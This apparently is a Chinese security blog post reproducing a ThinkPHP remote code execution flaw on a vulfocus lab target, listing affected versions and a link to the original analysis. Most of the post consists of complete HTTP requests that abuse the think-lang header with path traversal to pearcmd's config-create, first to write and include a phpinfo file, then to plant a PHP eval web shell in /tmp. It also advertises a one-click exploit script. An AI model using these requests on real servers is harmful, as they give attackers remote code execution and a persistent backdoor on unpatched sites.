Thinkphp-rce
收集一下网上poc复现一下。
版本
v6.0.0<=ThinkPHP<=v6.0.13
v5.0.0<=ThinkPHP<=5.0.12
v5.1.0<=ThinkPHP<=5.1.8
环境
环境:vulfocus靶场
验证
GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/jmc.php HTTP/1.1Host: 123.58.224.8:19683Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflatethink-lang:../../../../../../../../usr/local/lib/php/pearcmdAccept-Language: zh-CN,zh;q=0.9Cookie: think_lang=zh-cnConnection: close
GET /public/index.php HTTP/1.1Host: 123.58.224.8:19683Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflatethink-lang:../../../../../../../../tmp/jmcAccept-Language: zh-CN,zh;q=0.9Cookie: think_lang=zh-cnConnection: closeContent-Length: 1
shell
GET /public/index.php?+config-create+/<?=@eval($_POST['shell']);?>+/tmp/jmcshell.php HTTP/1.1Host: 123.58.224.8:19683Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflatethink-lang:../../../../../../../../usr/local/lib/php/pearcmdAccept-Language: zh-CN,zh;q=0.9Cookie: think_lang=zh-cnConnection: close
原理
参考漏洞作者的分析文章:
https://tttang.com/archive/1865/
一键脚本获取,后台回复:thinkphp
关于文章/Tools获取方式:请关注交流群或者知识星球。
关于交流群:因为某些原因,更改一下交流群的获取方式
关于知识星球的获取方式
后台回复发送 "知识星球",即可获取知识星球二维码。不定时发送免费名额。
如若上述方式不行,请点击联系我们->联系官方->客服小助手添加二维码进入星球 。
本公众号文章以技术分享学习为目的。
由于传播、利用本公众号发布文章而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任。
一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
还没有评论,来说两句吧...